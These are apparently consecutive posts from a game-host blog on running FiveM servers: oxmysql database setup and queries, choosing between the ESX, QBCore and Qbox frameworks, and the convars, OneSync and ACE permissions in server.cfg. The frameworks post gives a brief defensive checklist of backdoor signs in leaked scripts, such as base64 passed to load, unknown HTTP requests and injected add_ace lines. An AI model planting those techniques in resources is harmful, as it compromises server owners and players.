oxmysql speaks the MySQL wire protocol, so it needs a MySQL or MariaDB compatible server. What it wants from you is five things: a host, a port, a user, a password and a database name.

On RE:NODE, a game plan includes one database slot, created from the panel's Databases tab. The panel generates the host, the user and the password for you; you do not install or administer a database server, and there is no root account to look after. Beside the slot is an **Open in phpMyAdmin** button, which signs you in with a single-use token that expires after sixty seconds - so browsing the tables is a button rather than another password to keep somewhere. The panel does not name the engine behind the slot, and oxmysql does not need you to: it negotiates the protocol on connect. What matters is that the credentials the panel gives you are the credentials you paste into `server.cfg`.

Two honest limits. One slot means one database - enough for a framework, since ESX and QBCore both put everything in one, but not enough if you also wanted a separate database for a Discord bot on the same plan. And our [database hosting](https://www.renode.space/database-hosting) line is PostgreSQL and MongoDB, neither of which oxmysql can talk to, so that product is not an upgrade path for a FiveM schema. The panel's database slot is.

#### The connection string

oxmysql reads one convar. Put it in `server.cfg` above the `ensure` lines, using `set` and never `sets` - a connection string published to the server list is scraped within minutes. The difference between the three is in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

server.cfg:

```cfg
set mysql_connection_string "mysql://s7_user:PaSsW0rd@db.example.net:3306/s7_fivem?charset=utf8mb4"

ensure oxmysql
ensure ox_lib
ensure qb-core
```

The pieces, in order: user, password, host, port, database name, options. Three things go wrong here more than anything else.

**Special characters in the password.** A URI has structural characters, and `@`, `:`, `/`, `?`, `#` and `%` in a password will break the parse in ways that produce a nonsense error. Either percent-encode them (`@` becomes `%40`) or use the semicolon form instead, which does not care:

```cfg
set mysql_connection_string "server=db.example.net;port=3306;userid=s7_user;password=P@ss:word;database=s7_fivem"
```

**The host is not `localhost`.** The database is a separate service reached over the network, so `127.0.0.1` connects to nothing. Copy the host exactly as the panel prints it.

**The database name has a prefix.** Panel-generated databases usually carry a server prefix such as `s7_`. Leave it in. `ER_BAD_DB_ERROR` is almost always someone who trimmed it off.

Add `?charset=utf8mb4` and mean it. Without it, the first player whose character name contains an accent, a Cyrillic letter or an emoji writes broken bytes into a column, and you find out weeks later. Two useful extras: `?connectionLimit=8` caps the pool, and oxmysql accepts the usual driver options in the same query string.

Turn the diagnostics on while you are setting up and off once it works:

```cfg
set mysql_debug true                 # prints every query, very noisy
set mysql_slow_query_warning 150     # milliseconds before a warning
```

`mysql_debug` belongs on a test server only. `mysql_slow_query_warning` belongs on permanently; it is the cheapest performance tool you have and it names the resource responsible.

```diagram
title: How a resource reaches the database
res = Resource | qb-garages
ox = oxmysql | connection pool
slot = Database slot | host, user, password
pma = phpMyAdmin | one-use token
res -> ox : MySQL.query
ox -> slot : pooled connections
pma -> slot : you, by hand
slot --> ox : rows
```

#### Importing the framework schema

Every framework ships an SQL dump. Import it before the first start, not after the server has spent ten minutes printing `ER_NO_SUCH_TABLE`.

1. Find the dump. It is usually in the core resource - `qb-core/qb-core.sql` for QBCore, an equivalent in the ESX release. Some builds split it across several files, and the order matters if there are foreign keys.
2. Open phpMyAdmin from the panel, pick your database in the left column, and use the Import tab.
3. Set the character set to `utf8mb4` on import, matching what you put in the connection string.
4. Check the table count afterwards. A dump that stopped halfway leaves a server that half works, which is worse than one that does not start.

If the file is too large for the upload limit - and framework dumps often are - compress it. phpMyAdmin accepts `.sql.gz` and `.sql.zip` and will decompress on the way in, which typically shrinks a dump by eight or nine times. If the import times out partway, phpMyAdmin's Import page has a "Skip this number of queries" field: count what already ran and resume from there. [The phpMyAdmin import and export guide](https://www.renode.space/blog/phpmyadmin-import-export-guide) goes through both in detail.

> [!WARNING]
> Running a resource's `.sql` file a second time on a populated database can drop and recreate tables, taking every character with it. Read the first twenty lines of any dump before importing it. If it starts with `DROP TABLE IF EXISTS`, export a backup first.

#### Writing queries that do not hurt

oxmysql is loaded into a resource by adding one line to `fxmanifest.lua`:

```lua
server_scripts {
    '@oxmysql/lib/MySQL.lua',
    'server/main.lua',
}
```

That gives you `MySQL.query`, `MySQL.single`, `MySQL.scalar`, `MySQL.insert`, `MySQL.update`, `MySQL.prepare` and `MySQL.transaction`, each with an `.await` variant for use inside a coroutine.

```lua
-- one row, one value
local money = MySQL.scalar.await(
    'SELECT money FROM players WHERE citizenid = ?', { citizenid })

-- one row as a table
local row = MySQL.single.await(
    'SELECT charinfo, job FROM players WHERE citizenid = ?', { citizenid })

-- many statements, one round trip, all or nothing
MySQL.transaction.await({
    { 'UPDATE players SET money = ? WHERE citizenid = ?', { newMoney, citizenid } },
    { 'INSERT INTO bank_log (citizenid, amount) VALUES (?, ?)', { citizenid, delta } },
})
```

Always use `?` placeholders rather than concatenating values into the string. It is faster, because the server can reuse the plan, and it is the only defence against a player putting a quote in a name and rewriting your query for you.

Four habits separate a database that is idle at 64 players from one that is the bottleneck:

- **Never query in a loop over players.** One query returning thirty rows beats thirty queries returning one. If you are iterating players and calling `.await` inside the loop, you are also blocking the coroutine on every iteration.
- **Never query on a tick.** Cache the value in a Lua table, write it back on change and on save.
- **Select the columns you need.** `SELECT *` on a `players` row drags every JSON blob across the wire, and inventories are not small.
- **Batch writes in a transaction.** Ten updates in one transaction is one round trip and one lock window; ten separate updates is ten of each.

[Connection pools and limits](https://www.renode.space/blog/connection-pools-and-limits) covers the pool side of this, which is what bites when twenty resources each decide to be clever at the same moment.

#### Finding the slow query

With `mysql_slow_query_warning` set, oxmysql prints a line naming the resource, the time taken and the statement whenever a query crosses the threshold. That line is the whole investigation most of the time: a resource nobody has looked at since 2022 is running a `SELECT` with a `LIKE '%name%'` against a table that has grown to four hundred thousand rows.

When the warning is not enough, take the statement into phpMyAdmin and put `EXPLAIN` in front of it. What you are looking for is the scan type. A row that says the query examined most of the table for one result is a missing index, and the fix is usually one line:

```sql
ALTER TABLE player_vehicles ADD INDEX idx_citizenid (citizenid);
ALTER TABLE owned_vehicles ADD INDEX idx_owner (owner);
```

Index the columns you filter or join on - owner, citizenid, identifier, plate. Do not index everything: every index is another thing to write on every insert, and a table with twelve indexes is slower to save a character to than one with three.

The other half of the problem is tables that grow without limit. Logging resources, phone messages, transaction histories and admin action logs all accumulate forever unless somebody prunes them. A monthly clear-out keeps them from becoming the slow query:

```sql
DELETE FROM <your log table> WHERE created_at < NOW() - INTERVAL 30 DAY;
```

Run it once by hand, check the row count, and then decide whether it is worth scheduling. Deleting a million rows in one statement holds locks for a long time, so on a big table do it in batches with `LIMIT 10000` and repeat.

#### Backups, and the thing that is easy to miss

A backup of your server takes the files: `resources/`, `server.cfg`, the cache. The database is a separate service on a separate host, so it is not in that archive. If you restore a server backup after something goes wrong, you get every resource back and every character exactly as it was in whatever state the database is in now, which may be the state you were trying to escape.

So export the database as well, and treat that as the real backup:

1. In phpMyAdmin, select the database, then Export, then Custom.
2. Format SQL, output compressed with gzip, and tick "Add DROP TABLE" so the file restores cleanly onto a database that already has tables.
3. Download it and put it somewhere that is not the game server. A copy sitting in `resources/` is not a backup - it dies with the thing it was protecting.

Do that before every framework update, before running any resource's `.sql`, and on a routine you will actually keep. Then restore one, once, into a scratch database and log in - [testing a restore before you need it](https://www.renode.space/blog/testing-a-restore-before-you-need-it) exists because the export that has never been imported is a hypothesis. [Database backups and restores](https://www.renode.space/blog/database-backups-and-restores) has the general procedure, and the [panel guides](https://www.renode.space/guides#databases) cover where the slot lives.

#### Connection errors and what they mean

| Error | Cause |
| --- | --- |
| `ECONNREFUSED` | Wrong host or port, or `localhost` in the string |
| `ER_ACCESS_DENIED_ERROR` | Wrong user or password, or an unencoded character |
| `ER_BAD_DB_ERROR` | Database name wrong, usually a stripped prefix |
| `ER_NO_SUCH_TABLE` | Schema never imported, or imported elsewhere |
| `ER_BAD_FIELD_ERROR` | Resource expects a column your schema version lacks |
| `ER_DATA_TOO_LONG` | A JSON blob outgrew its column type |
| `ER_CON_COUNT_ERROR` | Too many connections; lower `connectionLimit` |

Two more that are not errors but look like them. `Connection lost: the server closed the connection` on an idle server is the database dropping a stale connection, and oxmysql reopens it - if it happens once an hour and nothing breaks, ignore it. And a first query that takes two seconds after a restart is the pool warming up, not a slow database.

If nothing connects at all, check in this order: the convar is `set` and spelled correctly, `ensure oxmysql` comes before everything that uses it, the host is the panel's host and not `localhost`, and the password has no unencoded special characters. That sequence resolves nearly every case.

#### FAQ

##### Does a FiveM server need a database?

Only if it needs to remember anything. A freeroam or racing server with no persistence runs fine with no database at all. Every roleplay framework needs one, because a character that does not survive a restart is not a character.

##### Can I use PostgreSQL or MongoDB instead?

Not with oxmysql or with any mainstream FiveM framework. They are written against the MySQL protocol and its SQL dialect. Our PostgreSQL and MongoDB lines are for applications, not for ESX or QBCore.

##### How big does a FiveM database get?

Smaller than people fear. A server with a few thousand characters, their vehicles and a year of logs is usually in the low hundreds of megabytes. Log tables are what grow, not characters - if yours is measured in gigabytes, one logging resource is responsible and pruning it will win most of it back.

##### Why did everyone lose money after a crash?

Because characters are written on a timer, not on every change. A process that dies without a clean shutdown loses whatever happened since the last save for every player online. Shorten the framework's save interval if the loss matters more than the write load.

##### Can two servers share one database?

Technically yes, and it is how people run a test server against real data. Do not do it with two live servers on the same framework: both will cache and write the same character rows and the last writer wins, which players experience as items disappearing.

##### Do I need to know SQL to run a FiveM server?

Enough to read an `EXPLAIN`, add an index and export a dump. The framework's own dump does the rest. Everything in this post is four or five statements you can copy, and phpMyAdmin will write most of them for you.

Every RE:NODE game plan includes a database slot created from the panel with a generated host, user and password, and an Open in phpMyAdmin button that signs you in with a one-use token - so importing a framework schema is a browser tab, not a support ticket. FiveM plans run from 2 GB to 12 GB with txAdmin available and backup slots on every tier.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM frameworks: ESX vs QBCore vs Qbox

Published 2026-09-21 by RE:NODE Team. https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox

Pick one framework and build everything on it. ESX Legacy has the largest pool of free resources and puts jobs in the database. QBCore is the default choice for new roleplay servers and keeps almost everything in Lua files you can read. Qbox is QBCore rebuilt on the `ox_*` stack, cleaner and faster but with fewer ready-made resources. All three run on the same FXServer, all three now expect `oxmysql` and `ox_lib` underneath them, and none of them will run each other's job scripts without work. The framework is the one decision on a FiveM server that is genuinely expensive to change later, which is why it is worth twenty minutes before you install anything.

#### What a framework actually is

FXServer on its own gives you a multiplayer GTA session with no rules: players spawn, and that is it. A framework is a bundle of resources that adds the things a roleplay server assumes exist - a persistent character tied to a database row, money in accounts, an inventory, jobs with grades, a way for one resource to ask another whether a player is a police officer.

It is a convention as much as code. When a resource author writes "requires ESX", they mean their script calls ESX's shared object and expects ESX's event names, its database tables and its item definitions. That is the whole reason mixing frameworks does not work: an `esx_` resource asking for `xPlayer.getJob()` gets nothing at all from `qb-core`, because the function does not exist there.

A framework server is therefore not one download. It is the core plus a database schema plus somewhere between 60 and 400 other resources, which is where both the fun and the failure modes live. The [FiveM server and txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin) post covers the layer above this one; this post is about what you put inside `resources/`.

#### ESX, QBCore and Qbox side by side

| | ESX Legacy | QBCore | Qbox |
| --- | --- | --- | --- |
| Core resource | `es_extended` | `qb-core` | `qbx_core` |
| Jobs defined in | database tables | `shared/jobs.lua` | `shared/jobs.lua` |
| Items defined in | database table | `shared/items.lua` | `ox_inventory` |
| Inventory | pluggable | `qb-inventory` | `ox_inventory` |
| Free resource pool | largest | very large | smallest |
| Code style | oldest, mixed | tidy, verbose | strictest, newest |

**ESX Legacy** is the maintained line of the oldest framework still in wide use, published as `esx_core` - one repository that contains `es_extended` plus its menu, notification and progress-bar resources. Recent versions require `oxmysql` and `ox_lib`; older ones used `mysql-async`, and a tutorial that tells you to install `mysql-async` is out of date. ESX's distinguishing habit is that jobs and grades are rows in the `jobs` and `job_grades` tables rather than lines in a config file, which means adding a job means writing SQL or clicking through phpMyAdmin. Some people like that. Most find it the single most annoying thing about ESX.

**QBCore** is the framework most new roleplay servers start on, and the one most tutorials, YouTube videos and paid scripts target. Its configuration lives in plain Lua under `qb-core/shared/` - `items.lua`, `jobs.lua`, `gangs.lua`, `vehicles.lua`, `weapons.lua`, `locations.lua` - so adding a job is one table entry and a restart. The trade is that the codebase grew fast, quality across the `qb-*` resources varies, and a lot of what people run is a fork of a fork.

**Qbox** is a continuation of QBCore rebuilt on the Overextended stack: `ox_lib`, `oxmysql`, `ox_inventory`, `ox_target`, `ox_doorlock`. It drops the things QBCore kept for compatibility, requires Lua 5.4 and a current FXServer build, and moves item definitions out of the core into `ox_inventory/data/items.lua`. It ships a compatibility layer that answers to `qb-core`, so a fair number of `qb-*` resources run unchanged - but not the ones that touch the inventory, and not the ones that write directly to QBCore's tables. If your resource list is mostly things you will write or heavily edit yourself, Qbox is the nicer place to work. If your resource list is mostly things you downloaded, QBCore will fight you less.

Two others you will see named. `ox_core` is Overextended's own framework: small, opinionated, very little prebuilt content, aimed at people who want to write their own server. `vRP` is the ancestor of most of this and is best left in the past. Whatever you read on a forum, there is no framework that is "the fastest" in a way you will feel - a framework costs a fraction of a millisecond per tick, and the 200 resources you stack on it cost everything else.

#### What has to sit underneath all three

None of the frameworks are standalone. Before the core starts, these need to be running:

- **`oxmysql`** - the database bridge every current framework uses. It reads a connection string from a convar and exposes query functions to every other resource. Full detail in [FiveM databases and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql).
- **`ox_lib`** - a shared library for callbacks, notifications, context menus, progress bars, zones and points. Loaded as a shared script with `@ox_lib/init.lua`, and required by an increasing number of resources whether or not you chose Qbox.
- **A voice resource** - `pma-voice` is the usual free choice, and it needs `mumble` traffic, so leave it alone unless you know why you are changing it.
- **The Cfx base resources** - `mapmanager`, `chat`, `spawnmanager`, `sessionmanager` and `hardcap`, shipped in the default server data. Frameworks replace the spawn and character flow but still expect the session and chat pieces to exist.
- **`screenshot-basic`** - small, and txAdmin uses it for player screenshots.

Load order is not cosmetic. A resource that calls `MySQL.query` while `oxmysql` is still starting throws, and a job resource that asks for the shared object before the core is up gets `nil` and silently does nothing for the rest of the session. In `server.cfg`, that means:

server.cfg - order matters:

```cfg
ensure oxmysql
ensure ox_lib
ensure es_extended        # or qb-core, or qbx_core
ensure ox_inventory
ensure pma-voice
# anything that depends on the framework goes after the framework
ensure esx_policejob
```

`ensure` starts a resource, or restarts it if it is already running, which makes it the right verb in a config file. Every line of the file is taken apart in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

#### Installing one: txAdmin recipes versus doing it by hand

txAdmin's deployer can build a server from a recipe - a YAML file that downloads repositories, unpacks them into `resources/`, imports the SQL and writes a starting `server.cfg`. It asks for a database connection string during setup and will create tables in whatever database you point it at. The recipe list has included the Cfx default template, an ESX Legacy build and community builds, and it changes between txAdmin versions, so read what your install actually offers rather than what a two-year-old video shows.

Recipes are worth using for exactly one thing: getting a first working server up in ten minutes so you can see what a framework looks like when it is not broken. Then look at what it gave you.

```text
resources/
  [system]/            # build helpers from the default server data
  [standalone]/
    oxmysql/
    ox_lib/
    pma-voice/
  [core]/
    es_extended/
    ox_inventory/
  [jobs]/
    esx_policejob/
    esx_ambulancejob/
```

FXServer scans `resources/` for folders whose names are wrapped in square brackets and looks inside them, recursively. A folder without brackets is treated as a resource itself and must contain an `fxmanifest.lua`, or it is invisible. `ensure` always takes the resource name, never the path, so `ensure esx_policejob` works no matter how deep you nested it.

Doing it by hand is four steps and you should be able to do them:

1. Download the core release for the framework, unpack it into `resources/[core]/`, and check the folder name matches what the documentation tells you to `ensure`.
2. Import the framework's SQL dump into your database. Do this before the first start, not after it hangs.
3. Put the connection string in `server.cfg` and add the `ensure` lines in dependency order.
4. Start the server with the console open and read every line until the first player can spawn.

> [!WARNING]
> Two resources with the same name anywhere under `resources/` is a coin toss over which one loads, and it produces symptoms that make no sense - a config you edited having no effect, a command that exists but does nothing. After extracting anything, check you have not ended up with both `qb-inventory` and `[qb]/qb-inventory`.

#### The manifest, and what you can tell from it

Every resource has an `fxmanifest.lua`. Reading one before you install it tells you more than the forum post it came from.

fxmanifest.lua:

```lua
fx_version 'cerulean'
game 'gta5'
lua54 'yes'

author 'someone'
version '1.2.0'

shared_scripts {
    '@ox_lib/init.lua',
    'config.lua',
}

client_scripts { 'client/*.lua' }

server_scripts {
    '@oxmysql/lib/MySQL.lua',
    'server/*.lua',
}

dependencies { 'ox_lib', 'oxmysql' }
```

The `@resource/file.lua` form pulls a file out of another resource, which is how `oxmysql` and `ox_lib` get injected. `fx_version 'cerulean'` is the current manifest generation; `adamant` and `bodacious` are older and still work. `lua54 'yes'` opts the resource into Lua 5.4 and is required by Qbox resources. An `escrow_ignore` block means the resource is partly encrypted through Cfx asset escrow, which is normal for paid scripts and means you cannot fix its bugs yourself.

What to look for before running someone else's resource: an `os.execute`, a `PerformHttpRequest` to a domain you do not recognise, a long base64 string passed to `load`, or any `add_ace` written into a Lua file. Leaked paid scripts are the main way FiveM servers get backdoored, and the payload is usually one of those four things. [Keeping a modded server clean](https://www.renode.space/blog/keeping-a-modded-server-clean) is the general version of this argument.

#### Writing against the framework

The shape is the same everywhere: get the framework object once, get a player object from a server ID, call methods on it.

ESX Legacy, server side:

```lua
local ESX = exports['es_extended']:getSharedObject()

RegisterCommand('wage', function(source)
    local xPlayer = ESX.GetPlayerFromId(source)
    if not xPlayer then return end
    xPlayer.addAccountMoney('bank', 500)
end, true)
```

QBCore, server side:

```lua
local QBCore = exports['qb-core']:GetCoreObject()

RegisterCommand('wage', function(source)
    local Player = QBCore.Functions.GetPlayer(source)
    if not Player then return end
    Player.Functions.AddMoney('bank', 500, 'weekly-wage')
end, true)
```

Qbox exposes its core directly as `exports.qbx_core`, so the same job is `exports.qbx_core:GetPlayer(source)` with the player functions hanging off the result. Older ESX tutorials use `TriggerEvent('esx:getSharedObject', ...)` instead of the export; it still works in Legacy but the export is what you should write in new code, because it cannot race with resource start order.

The `true` at the end of `RegisterCommand` is the restricted flag. It makes the command require an ACE permission instead of being open to everyone, which is the difference between an admin command and a gift to the first person who reads your resource list.

#### Performance, and where the framework is not to blame

A framework server that stutters is almost never short of hardware. Measure before you buy anything:

- `resmon 1` in a client F8 console lists every resource with its per-frame CPU time. Anything holding above 0.5 ms while nothing is happening is doing work it does not need to do.
- txAdmin's resource monitor gives you the server side, which is where database queries in loops show up.
- The console is the other half of the story. A resource throwing an error every tick will happily eat a core while printing the reason - see [reading the console](https://www.renode.space/blog/reading-the-console).

Typical figures, for a server with a normal roleplay resource list:

| Players | Resources | RAM | Notes |
| --- | --- | --- | --- |
| Testing, 1-5 | 60-100 | 2 GB | Bare core plus a few jobs |
| 16-32 | 100-200 | 4 GB | Common first public server |
| 32-64 | 200-300 | 6-8 GB | Streamed assets start to matter |
| 64-128 | 300+ | 8-12 GB | Needs someone auditing resources |

The two things that genuinely cost memory rather than CPU are streamed assets - custom vehicles, MLOs, clothing - and resources that cache large tables per player. Both grow with your resource list and neither shrinks when players leave, which is why a weekly restart is standard practice on roleplay servers.

#### Updating a framework without losing a weekend

Framework updates are not like plugin updates. A core release can change database columns, rename events and break every resource written against the old names at once.

1. Read the release notes for breaking changes before downloading anything. A major version bump on ESX or QBCore usually has a migration list.
2. Export the database first. Every core update that touches the schema is irreversible on the way back.
3. Run the new core on a second server with a copy of the database and your real resource list, and log in. A [staging server on the same account](https://www.renode.space/blog/staging-and-production-on-one-account) costs one small plan and saves this exact evening.
4. Update the framework and the resources that depend on it together, not one at a time.
5. Keep the old `resources/` folder as an archive until the new one has survived a full player session. [What to do when a mod update breaks](https://www.renode.space/blog/what-to-do-when-a-mod-update-breaks) covers the rollback discipline.

On RE:NODE, FiveM servers have txAdmin available, the file manager unpacks archives in place so a resource release goes straight into `resources/`, SFTP is on every server for bulk uploads, and the Schedules tab can run the weekly restart. The licence key is yours from the Cfx.re portal rather than ours, so it moves with you.

#### FAQ

##### Can I run ESX and QBCore resources on the same server?

No. They expose different objects, different events and different database schemas. A handful of resources are written to detect both, and Qbox deliberately answers to `qb-core` for compatibility, but an `esx_` job script on a QBCore server needs rewriting, not configuring.

##### Which framework should a brand new server pick?

QBCore, unless you have a specific reason. Most free resources, most paid scripts and nearly all tutorials assume it, which matters far more when you are stuck at midnight than any architectural argument. Pick Qbox if you intend to write your own resources and are comfortable reading source.

##### Do I have to pay for resources?

No, but most servers do. The free pool covers jobs, shops, garages and inventories perfectly adequately. Paid scripts buy polish and support. What you must not do is install leaked paid scripts: they are the most common backdoor route onto a FiveM server, and the person who gave you the file is not the author.

##### Where do jobs come from on each framework?

ESX reads them from the `jobs` and `job_grades` tables in the database, so a new job is an insert. QBCore and Qbox read them from a shared Lua file, so a new job is a table entry and a restart. All three then need a job resource to give that job something to do.

##### How much memory does a framework server need?

Two gigabytes runs a core and a handful of jobs for testing. Four is the realistic floor for a public server, and a full roleplay list at 64 players usually sits between six and eight. If you are above that with fewer than 200 resources, something is leaking rather than being busy.

##### Do I need my own licence key?

Yes. FXServer will not start without a Cfx.re licence key issued to you from the Cfx.re portal, and it is tied to the address it runs on, so moving a server means reissuing the key rather than copying it.

FiveM plans on RE:NODE run from 2 GB to 12 GB with txAdmin available on every tier, two port allocations, a database slot with phpMyAdmin sign-in for your framework's schema, SFTP and an in-browser file editor for `resources/`, and backup slots on every plan. You bring your own Cfx.re licence key, which keeps it yours.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM server.cfg: convars, OneSync and ACE

Published 2026-09-21 by RE:NODE Team. https://www.renode.space/blog/fivem-server-cfg-explained

`server.cfg` is the only configuration FXServer has. It sets the ports, the player cap, the licence key, the name in the server list, which resources start and in what order, and who is allowed to type which command. It is read once, top to bottom, when the server starts - so order matters, a missing closing quote silently eats everything after it, and a convar a resource reads at start will not change until that resource restarts. This post goes through the file the way the server does.

#### Where the file lives and how it is read

FXServer is started with the file named on its command line:

```bash
$ ./run.sh +exec server.cfg
```

Everything in the file is a console command. There is no special syntax, no sections and no indentation rules: each line is executed exactly as if you had typed it into the server console. `#` starts a comment. Values containing spaces need double quotes, and a quote you forget to close makes the parser swallow the rest of the line, which is why a perfectly valid-looking file can fail with an error pointing at a line forty rows further down.

Nesting is supported and worth using. `exec permissions.cfg` at the bottom of `server.cfg` pulls in a second file, which is the sane place to keep the list of admin identifiers so you can share your `server.cfg` when asking for help without handing out your admin list.

If you run txAdmin, it keeps the server data in its own folder and edits `server.cfg` through its CFG Editor page. Editing the same file in a file manager while txAdmin has it open means one of the two copies wins. Pick one place and stay there.

#### The lines every server needs

This is the default template, trimmed to the parts that are not optional, with the values you would actually set:

server.cfg:

```cfg
endpoint_add_tcp "0.0.0.0:30120"
endpoint_add_udp "0.0.0.0:30120"

sv_hostname "^2Northside RP ^7| ^3Whitelisted ^7| ^1ESX"
sv_maxclients 48
sv_licenseKey "cfxk_xxxxxxxxxxxxxxxxxxxxx_xxxxxx"

sv_scriptHookAllowed 0
sv_endpointprivacy true

sets locale "en-GB"
sets tags "roleplay, esx, whitelist, europe"
load_server_icon logo.png

set mysql_connection_string "mysql://user:pass@host/db?charset=utf8mb4"

ensure oxmysql
ensure ox_lib
ensure es_extended

exec permissions.cfg
```

`endpoint_add_tcp` and `endpoint_add_udp` both point at the same port number, and both are needed. The UDP side carries the game traffic. The TCP side is an HTTP server: it hands clients the resource files on first join and answers `/info.json`, `/players.json` and `/dynamic.json`, which is how every server tracker in existence knows your player count. A server where only TCP is reachable loads forever at the connecting screen; a server where only UDP is reachable never gets past downloading resources. [Game server ports explained](https://www.renode.space/blog/game-server-ports-explained) covers why the two halves fail differently.

`0.0.0.0` means "every address on this machine" and is almost always right. Change it only if the machine has several interfaces and you know which one you want.

`sv_hostname` accepts colour codes: `^1` red, `^2` green, `^3` yellow, `^4` blue, `^5` cyan, `^6` pink, `^7` white, `^8` orange, `^9` grey. Use two at most. A hostname that is mostly punctuation is not memorable and the server list search is on plain text.

`sv_licenseKey` is your own key from the Cfx.re portal. It is issued to you, not to your host, and it is bound to the address the server runs on - moving to another host or another IP means reissuing it rather than copying it across. FXServer will not start without a valid one, and it says so clearly in the console.

#### set, sets and setr: three different words for a variable

This trips up everyone once. FiveM has three commands that look identical and go to different places.

| Command | Visible to | Use it for |
| --- | --- | --- |
| `set` | server scripts only | secrets, connection strings, API keys |
| `sets` | server list and clients | project name, description, tags |
| `setr` | clients, replicated | settings a client script must read |

A script reads any of them with `GetConvar('name', 'default')` or `GetConvarInt('name', 0)`. The rule is simple and absolute: **anything secret uses `set`**. A database password behind `sets` is published to the server list, where it is scraped within minutes.

```cfg
set mysql_connection_string "mysql://user:pass@host/db"   # private
sets sv_projectName "Northside RP"                        # public
sets sv_projectDesc "Serious roleplay, whitelist on Discord"
setr voice_defaultRadius 25.0                             # clients read it
```

`sets locale` takes a locale identifier such as `en-GB` or `de-DE`; the default template ships the placeholder `root-AQ`, which is Antarctica, and leaving it is a small sign that nobody read the file. `sets tags` is a comma-separated list used by the server list filters, and it is the cheapest discovery you get.

`load_server_icon` wants a 96 by 96 PNG sitting next to `server.cfg`. Any other size is rejected, usually without a message you will notice.

#### OneSync and player slots

Base GTA networking tops out at 32 players. OneSync is Cfx.re's replacement for it, and everything above 32 slots depends on it:

```cfg
set onesync on
set onesync_population true
set onesync_forceMigration true
sv_maxclients 64
```

`onesync on` is the current form and covers what older guides call Infinity. `legacy` is the older, lower-capacity mode, and `off` puts you back on the 32-player ceiling. With OneSync on, FXServer will accept slot counts far beyond anything sensible; the number you should set is decided by your CPU and your resource list, not by the limit.

`onesync_population` controls whether the server spawns ambient traffic and pedestrians. Roleplay servers usually leave it on, then spend a year complaining about entity counts. Turning it off removes a large slice of network and CPU load at the cost of an empty city, and several serious servers do exactly that and spawn their own traffic where it matters.

`onesync_forceMigration` moves entity ownership away from a player who leaves rather than deleting the entity. Without it, a vehicle someone was the owner of can vanish when they disconnect.

Changing OneSync settings requires a full server restart, not a resource restart. So does `sv_maxclients`. And raising the slot count on a server that is already at 100% of its CPU share only means more people watching it be slow - [CPU vs RAM for game servers](https://www.renode.space/blog/cpu-vs-ram-for-game-servers) is the honest version of that conversation.

#### Game build, script hook and pure mode

```cfg
sv_enforceGameBuild 2802
sv_scriptHookAllowed 0
sv_pureLevel 1
```

`sv_enforceGameBuild` pins every client to a specific GTA Online update. It matters because vehicles, weapons, map areas and clothing added in a given DLC only exist on clients running at least that build. If a custom vehicle uses assets from a newer build than you enforce, it will be invisible or crash the client. Common values include `1604` (the base build), `2060`, `2189`, `2372`, `2545`, `2612`, `2699`, `2802`, `2944`, `3095` and later. The list grows with every Rockstar update, so check the current Cfx.re documentation rather than copying a number from a forum post. Raising it forces every player to download the newer game data from Rockstar, which is a one-off delay for them and worth announcing.

`sv_scriptHookAllowed 0` blocks ScriptHookV-based client menus. Leave it at zero. There is no roleplay server that wants it on.

`sv_pureLevel 1` refuses connections from clients with modified game files; `2` is stricter and also blocks graphics modifications. Pure mode is a blunt instrument: level 2 will reject perfectly innocent players running visual mods, and it is not an anti-cheat. Start at 0 or 1 unless you have a reason.

`sv_endpointprivacy true` keeps player IP addresses out of the server's public output. There is no reason to have it off.

#### Starting resources

```cfg
ensure oxmysql
ensure ox_lib
ensure es_extended
ensure ox_inventory
ensure pma-voice
```

`ensure` starts a resource, or restarts it if it is already running. `start` only starts. `stop` and `restart` do what they say, and `refresh` rescans `resources/` for folders that were not there when the server booted - a new resource always needs `refresh` before `ensure` will find it.

Order in the file is load order, and load order is dependency order. The database bridge first, then shared libraries, then the framework, then everything that talks to the framework. A job resource that starts before the core gets `nil` when it asks for the shared object and then quietly does nothing for the rest of the session, with no error. Which framework goes in the middle of that list, and what each one needs, is covered in [FiveM frameworks compared](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox).

A resource is only found if its folder contains `fxmanifest.lua`. Folders wrapped in square brackets, like `[core]` or `[jobs]`, are scanned as containers rather than treated as resources, and the nesting can go several levels deep. `ensure` always takes the resource name, never the path.

#### ACE permissions: who can do what

FiveM's permission system is two commands. `add_principal` says that one thing inherits from another. `add_ace` says that a principal is allowed or denied an object.

permissions.cfg:

```cfg
add_ace group.admin command allow
add_ace group.admin command.quit deny
add_ace group.mod command.kick allow
add_ace group.mod command.ban allow

add_principal group.admin group.mod
add_principal identifier.license:8e1f0c2a4b6d8e0f2a4b6c8d0e2f4a6b8c0d2e4f group.admin
add_principal identifier.discord:216735154273419264 group.mod
```

Objects are hierarchical on dots, so allowing `command` allows every `command.something`, and a later `deny` on a specific one wins. Principals can be identifiers, groups, or resources - `resource.mycoolscript` is a real principal, which is how a resource is granted the right to run privileged commands itself.

Identifier types you can use as principals: `license`, `license2`, `steam`, `discord`, `fivem`, `xbl`, `live` and `ip`. `license` is the one to use for a permanent admin: it is stable, it does not require Steam to be running, and it is printed in the console when the player joins. `steam` identifiers only exist if you have set a Steam Web API key with `set steam_webApiKey`, and `discord` only if the player has Discord running. Never use `ip`.

Resources check these with `IsPlayerAceAllowed(source, 'something')`, and the object does not have to be a command - frameworks define their own, such as an ace for opening an admin menu. The `true` argument at the end of a `RegisterCommand` call is what makes a command ACE-restricted in the first place; without it, the command is open to every player on the server.

Two things people get wrong. First, `group.admin` has no meaning until you grant it something: it is an ordinary name, not a built-in role. Second, txAdmin keeps its own separate admin list, so adding somebody to txAdmin does not give them in-game ACE permissions, and granting ACE permissions does not let them into txAdmin. They are two systems and you maintain both. The general argument for keeping those lists short is in [subusers and least privilege](https://www.renode.space/blog/subusers-and-least-privilege).

#### RCON, and why to leave it off

FXServer supports the old Source-style RCON protocol through `rcon_password`. The default template ships it commented out, and that is where it should stay. RCON on FiveM sends the password in the clear over UDP on the same port as the game, and everything you would use it for - console, restarts, player management - is already in your panel console or txAdmin. If you genuinely need it, set a password that exists nowhere else and read [RCON, safely](https://www.renode.space/blog/rcon-safely) first.

